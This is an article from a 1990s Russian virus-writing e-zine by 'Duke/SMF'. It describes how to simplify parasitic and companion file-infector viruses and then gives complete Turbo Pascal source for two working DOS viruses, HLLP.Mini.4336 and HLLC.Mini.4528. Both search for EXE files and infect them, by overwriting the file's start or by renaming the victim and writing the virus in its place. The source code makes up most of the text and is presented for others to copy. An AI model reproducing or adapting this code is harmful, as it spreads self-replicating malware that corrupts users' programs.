- [Duke's Virus Labs #3] - [Page 11] - Упрощение HLLC и HLLP вирусов (c) by Duke/SMF Результатом наших упрощений должно стать уменьшение размера откомпилированного вируса и простота его алгоритма. Что же я предлагаю сделать? Предположим, что у нас есть HLLP-вирус, поражающий EXE-файлы текущего каталога и делающий проверку на повторное заражение. Паразитическому вирусу, для передачи управления пораженному файлу, необходимо сначала восстановить жертву в первозданном виде. Для этого HLLP-вирусы : 1) читают начало файла, содержащее вирус, в массив A; 2) читают в массив B сохраненное начало жертвы (из конца файла); 3) отсекают хвост; 4) записывают массив B в начало файла поверх вируса. После этого идет запуск жертвы и возвращение вируса на место: 5') читают начало в B; 6') записывают B в конец; 7') записывают A в начало. Классическим примером подобного HLLP-вируса являются вирусы HLLP.Insertion (см. статью dvl3-13.txt). А нужно ли все это? Нельзя ли немного упростить этот процесс? Обратим внимание на то, что при заражении файлов (первичном) вирус тоже выполняет действия 5',6',7'. А это наталкивает на мысли об оптимизации. Для этого вирус должен работать по следующей схеме: ...... - выполнить пункты 1-4; - запустить жертву; - вызвать процедуру заражения файлов каталога; ...... Как работает такой вирус? Запущенный файл лечится и запускается. Когда вирусу возвращается управление, он ищет и заражает файлы. Обнаружив файл, который только что был запущен, он заразит и его, т.е. восстановит Status Quo :) Пусть HLLC-вирус переименовывает жертву в DAT-файл, а сам записывается вместо нее в EXE-файл. Для этого вируса справедлив аналогичный алгоритм: ...... - читает вирус в память; - удаляет EXE (т.е. себя самого); - переименовывает DAT в EXE; - запускает EXE; - вызывает заражение; ...... Ниже приводятся примеры вирусов, демонстрирующие описанные алгоритмы. Имя вируса : HLLP.Mini.4336 Автор : Duke/SMF Дата создания : 14.12.98 ===== Cut here ===== {$I-,S-} {$M 5000, 0, 5000} program Mini_HLLP; uses dos; const Len=4336; {Длина программы} var a,b:file; {"А"-исходный, "В"-новый} n:searchrec; w,v:array[1..Len] of byte; {V-вирус, W-вспомогательный} {--------------------------------------------------------------------------} procedure Execute; {Запуск и лечение файла} var par:string; i:byte; f:integer; s:string; {запущенный файл} begin s:=paramstr(0); assign(a,s);reset(a,1); BlockRead(a,v,Len); {Считали вирус в память} f:=filesize(a); if f<=Len then Exit; {Если мы в чистом вирусе - на выход} {Возвращаем жертве "А" первоначальный вид:} seek(a,f-Len); {Указатель поставлен на начало save-"А".} BlockRead(a,w,Len); {Save-"A" считан в массив W.} seek(a,0); {Указатель поставлен на начало "А".} BlockWrite(a,w,Len); {Массив W записан в начало "А".} seek(a,f-Len); {Указатель поставлен на начало save-"А".} truncate(a); {Отбрасывается save-часть "А".} close(a); {Закрываем "А"} for i:=1 to paramcount do {Сохраняем параметры} par:=par+paramstr(i)+' '; exec(s,par); {Запускаем "А"} end; {--------------------------------------------------------------------------} procedure Infect; {Процедура заражения файла} begin {assign(b,st);reset(b,1);} {Файл "B" уже открыт при проверке} setfattr(b,$20); {Сохранение начала "В" :} seek(b,0); {Указатель поставлен на начало "В".} BlockRead(b,w,Len); {Начало "В" считано в массив W.} seek(b,filesize(b)); {Указатель поставлен на конец "В".} BlockWrite(b,w,Len); {Массив W записан в конец "В".} {Запись нового начала "В" :} seek(b,0); {Указатель поставлен на начало "В".} BlockWrite(b,v,Len); {Пишем V в начало "В".} close(b); {Закрываем "В".} end; {--------------------------------------------------------------------------} procedure check(st:string); {проверка на зараженность} var c,d:byte; begin assign(b,st);reset(b,1); seek(b,filesize(b)-len); blockread(b,c,1);blockread(b,d,1); if (c<>ord('M')) or (d<>ord('Z')) then Infect else close(b); end; {-------------------------------------------------------------------------} begin asm jmp @lab db 'MiniHLLP (c) by Duke/SMF' @lab: end; Execute; {Запуск жертвы} findfirst('*.exe',$21,n); {Поиск подходящего файла:} while doserror=0 do begin if n.size>Len then check(n.name);{Если длина > длины вируса} findnext(n); end; end. ===== Cut here ===== Имя вируса : HLLC.Mini.4528 Автор : Duke/SMF Дата создания : 14.12.98 ===== Cut here ===== {$I-,S-} {$M 5000, 0, 5000} uses dos; const Len=4528; {длина вируса} d='.DAT'; var b,g:file; ds:dirstr; ns:namestr; es:extstr; n:searchrec; st:string; i:integer; v:array[1..Len] of byte; {тело вируса} {--------------------------------------------------------------------------} procedure Execute; {Запуск и лечение файла} var par:string; {параметры запуска} s:string; {запущенный файл} begin s:=paramstr(0); assign(b,s);reset(b,1); blockread(b,v,Len); {читаем вирус в память} close(b); fsplit(s,ds,ns,es); st:=ds+ns+d; assign(g,st); {$I-}reset(g);{$I+} if ioresult=0 then {если найден пораженный файл...} begin erase(b); {...удаляем вирус} close(g); rename(g,s); {...переименовываем жертву в EXE} par:=''; {...сохраняем параметры} for i:=1 to paramcount do par:=par+' '+paramstr(i); exec(s,par); {...и запускаем жертву} end; end; {--------------------------------------------------------------------------} procedure Infect(n:string); {Процедура заражения файла} var ch:byte; begin fsplit(n,ds,ns,es); st:=ds+ns+d; assign(g,st); {$I-}reset(g,1);{$I+} {Проверяем, есть ли уже файл} {с расширением DAT} if ioresult<>0 then {Если нет => ещё не заражен...} begin assign(b,n); setfattr(b,$20); rename(b,st); {... переименовываем жертву} assign(b,n); rewrite(b,1); {... создаем компаньон} blockwrite(b,v,Len); {... пишем вирус} for i:=1 to random(500) do {... пишем мусор} begin ch:=random(250); blockwrite(b,ch,1); end; close(b); {заражение завершено} end else close(g); end; {-------------------------------------------------------------------------} begin asm jmp @lab db 'MiniHLLC (c) by Duke/SMF' @lab: end; Execute; {запуск жертвы} findfirst('*.exe',$21,n); {поиск подходящего файла} while doserror=0 do begin Infect(n.name); {вызов заражения} findnext(n); end; end. ===== Cut here =====